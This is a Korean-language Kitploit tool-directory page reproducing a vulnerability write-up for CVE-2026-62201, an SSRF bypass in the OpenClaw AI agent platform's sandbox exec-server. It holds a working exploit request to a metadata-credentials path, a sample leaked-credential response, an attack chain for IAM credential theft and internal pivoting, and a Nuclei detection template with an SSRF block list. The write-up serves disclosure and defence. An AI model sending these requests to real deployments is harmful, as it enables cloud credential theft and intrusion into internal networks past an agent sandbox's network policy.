Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-62201-OpenClaw-SSRF — CVE-2026-62201 심층 분석: OpenClaw 샌드박스 exec-server 네트워크 정책 우회(SSRF). 근본 원인, 취약한 코드와 패치된 코드 비교, 악용, 탐지, 해결 방법. | Kitploit
도구/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Vulnerability AnalysisExploitationWeb SecurityCloud Security
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

CVE-2026-62201 심층 분석: OpenClaw 샌드박스 exec-server 네트워크 정책 우회(SSRF). 근본 원인, 취약한 코드와 패치된 코드 비교, 악용, 탐지, 해결 방법.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
1521일 전아직 검토되지 않음
공유

CVE-2026-62201 — OpenClaw 샌드박스 Exec-Server 네트워크 정책 우회 (SSRF)

심각도: 높음 · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (서버 측 요청 위조)


취약점 개요

필드값
권고GHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
제품OpenClaw (npm 패키지 openclaw) — 샌드박스 exec-server 구성 요소
영향 범위openclaw < 2026.6.6
패치 버전2026.6.6 이상
근본 원인exec-server의 내장 HTTP 헬퍼(SANDBOX_HTTP_REQUEST_SCRIPT)에 SSRF 검증 누락
수정 커밋21410d1c — "fix(codex): guard sandbox http requests"
공격 벡터공격자가 제어하는 URL을 사용한 exec-server의 http/request 핸들러로의 HTTP POST
영향낮은 권한의 호출자가 OpenClaw 네트워크 정책이 차단해야 하는 내부 네트워크 대상(클라우드 메타데이터, 사설 IP, localhost 서비스)에 도달

요약

OpenClaw는 AI 에이전트 플랫폼으로, 샌드박스 exec-server는 에이전트가 아웃바운드 웹 호출에 사용하는 HTTP 요청 헬퍼를 노출합니다. 2026.6.6 이전 버전에는 해당 헬퍼에 SSRF 보호 기능이 없었습니다: 신뢰 수준이 낮은 호출자(플랫폼이 게이트웨이 운영자보다 덜 신뢰하는 모든 에이전트, 도구 또는 입력 경로)가 임의의 URL을 제출하고 exec-server가 호스트 네트워크 내부에서 이를 가져오도록 할 수 있었습니다.

직접적인 샌드박스 이그레스에 적용되는 네트워크 정책 검사는 요청이 exec-server HTTP 인터페이스를 경유할 때 적용되지 않았습니다. 이러한 불일치가 바로 취약점입니다: exec-server가 내부 네트워크로의 제한 없는 HTTP 프록시 역할을 했습니다.


기술 심층 분석

구성 요소: 샌드박스 Exec-Server

OpenClaw가 샌드박스에서 Codex 에이전트를 실행할 때, WebSocket/HTTP 전송을 통해 JSON-RPC 메서드를 호스팅하는 로컬 exec-server(extensions/codex/src/app-server/sandbox-exec-server.ts)를 시작합니다. 해당 메서드 중 하나인 http/request는 에이전트가 URL을 가져올 수 있게 합니다. 구현은 요청을 작은 임베디드 Python 스크립트인 SANDBOX_HTTP_REQUEST_SCRIPT를 통해 전달하며, 이 스크립트가 실제 urllib 작업을 수행합니다.

요청 핸들러는 extensions/codex/src/app-server/sandbox-exec-server/http.ts에 있습니다.

취약 코드 ([email protected])

Python 헬퍼는 URL을 수신하고 스킴만 확인했습니다:

# [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (요약)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

이것이 전체 게이트였습니다. 다음이 없었습니다:

  • ❌ 호스트 이름 블록리스트(localhost, *.internal, metadata.google.internal …)
  • ❌ 사설 / 링크-로컬 / 루프백 IP 거부
  • ❌ DNS 확인 검사(호스트 이름이 내부 IP로 확인될 수 있음)
  • ❌ 리다이렉트 검증 — http://169.254.169.254/로의 리다이렉트가 무비판적으로 따라짐

결과: {"method":"GET","url":"http://<internal-host>/"}가 내부 응답 본문을 호출자에게 반환했습니다. exec-server는 호스트 네트워크로의 개방형 프록시였습니다.

수정 사항 ([email protected])

커밋 21410d1c는 두 계층 모두에 심층 방어를 추가했습니다:

계층 1 — TypeScript 사전 검사(http.ts의 assertSandboxHttpRequestTargetAllowed):

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

계층 2 — Python 헬퍼 강화(임베디드 스크립트의 assert_url_allowed):

  • 차단된 호스트 이름: localhost, localhost.localdomain, metadata.google.internal, 그리고 *.localhost, *.local, *.internal 접미사
  • 클라우드 메타데이터 IP: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • 차단된 IPv4/IPv6 네트워크: CGNAT 100.64.0.0/10, 벤치마킹 198.18.0.0/15, 문서용 2001:db8::/32 등
  • ipaddress 분류: 루프백, 사설, 링크-로컬, 멀티캐스트, 예약, 미지정
  • DNS 확인 고정: 호스트 이름이 요청 전에 확인되고, 확인된 모든 주소가 검사되며, 검사된 주소는 실제 연결을 위해 고정됩니다(DNS 리바인딩 방지)
  • GuardedRedirectHandler: 모든 리다이렉트 홉은 따라가기 전에 assert_url_allowed를 다시 실행합니다
  • IPv6 내장 IPv4 추출: 매핑된(::ffff:a.b.c.d), 6to4(2002::/16), Teredo 및 ISATAP 형식이 언랩되고 내장된 IPv4가 검사됩니다
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

악용

사전 요구 사항

  • 샌드박스 exec-server가 활성화된 실행 중인 OpenClaw 인스턴스 < 2026.6.6
  • exec-server HTTP 엔드포인트에 도달하고 http/request를 호출할 수 있는 능력(플랫폼은 이를 낮은 권한 액세스로 취급 — 예: 플러그인, 도구 또는 입력 경로, 게이트웨이 운영자가 아님)

실습 가이드

1단계 — 내부 서비스를 대상으로 하는 요청 전송:

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

2단계 — 취약한 응답 (HTTP 200):

exec-server가 내부 URL을 가져와 본문을 호출자에게 반환했습니다 — bodyBase64로 base64 래핑됨:

{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

디코딩됨:

{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

3단계 — 패치된 응답 (HTTP 502):

{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

패치된 버전에서는 내부 대상이 exec-server를 통해 도달할 수 없습니다.

공격 체인 예시

  1. 클라우드 메타데이터 유출 — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM 자격 증명
  2. 피보팅 — RFC 1918 공간의 관리 콘솔, 데이터베이스 및 exec-server에서 도달할 수 없어야 했던 기타 내부 서비스에 접근
  3. Localhost 서비스 — http://127.0.0.1:<port>/로 동일 위치의 인증되지 않은 관리 인터페이스에 접근

영향 및 CVSS 근거

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 높음

  • PR:L — 악용에는 낮은 권한 액세스(신뢰 수준이 낮은 호출자 / 구성된 입력 경로)가 필요하며, 게이트웨이 운영자 권한은 필요하지 않습니다. 네트워크 공격 표면이 위험을 만듭니다: exec-server는 배포 네트워크 내부에 위치합니다.
  • S:C — 범위가 변경됩니다: 손상이 exec-server에 국한되지 않고 내부 네트워크(메타데이터 서비스, 사설 서비스)로 확장됩니다.
  • C:H / I:N / A:N — 주요 영향은 기밀성입니다: 내부 대상에서의 데이터 유출. 이 경로를 통한 직접적인 쓰기 또는 가용성 영향은 없습니다.

권고의 프레임워크가 중요합니다: OpenClaw의 신뢰된 운영자 모델은 게이트웨이 운영자가 신뢰할 수 있다고 가정합니다. 버그는 신뢰 수준이 낮은 표면(플러그인, 도구, 입력 경로)이 정책이 차단했어야 할 대상에 도달할 수 있다는 것입니다.


탐지

Nuclei

OAST 기반의 탐지 템플릿이 제공되며 내부 토폴로지에 대한 사전 지식이 필요 없습니다:

http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

업스트림에 제출됨: projectdiscovery/nuclei-templates#17183

로그 및 텔레메트리 신호

  • exec-server 프로세스에서 RFC 1918 / 링크-로컬 / 루프백 주소로의 아웃바운드 요청
  • JSON 본문에 사설/내부 대상을 가리키는 url 필드가 포함된 /exec/http(또는 이에 상응하는 WebSocket JSON-RPC)로의 POST 요청
  • exec-server에서 클라우드 메타데이터 IP(169.254.169.254, 100.100.100.200)로의 요청
  • 비정상적인 이그레스: exec-server가 접촉할 이유가 없는 포트/서비스에 연결

해결 방안

  1. 업그레이드 — npm install [email protected](또는 이후 버전). 수정 사항은 TS 경계와 Python 헬퍼 내부 모두에 완전한 SSRF 검증을 추가합니다.
  2. exec-server 액세스 제한 — 신뢰할 수 있는 에이전트/도구에만 노출하고, 신뢰 수준이 낮은 입력 경로에서 방화벽으로 차단합니다.
  3. 도구 및 채널 허용 목록 축소 — 에이전트가 호출할 수 있는 것에 대한 최소 권한.
  4. 네트워크 이그레스 제어 — 즉시 업그레이드할 수 없는 경우, 보상 통제로 네트워크 계층에서 exec-server 호스트가 메타데이터 엔드포인트 및 내부 범위에 도달하는 것을 차단합니다.
  5. 패치될 때까지 서로를 신뢰하지 않는 사용자 간 공유 게이트웨이 회피.

공개 타임라인

도구 다운로드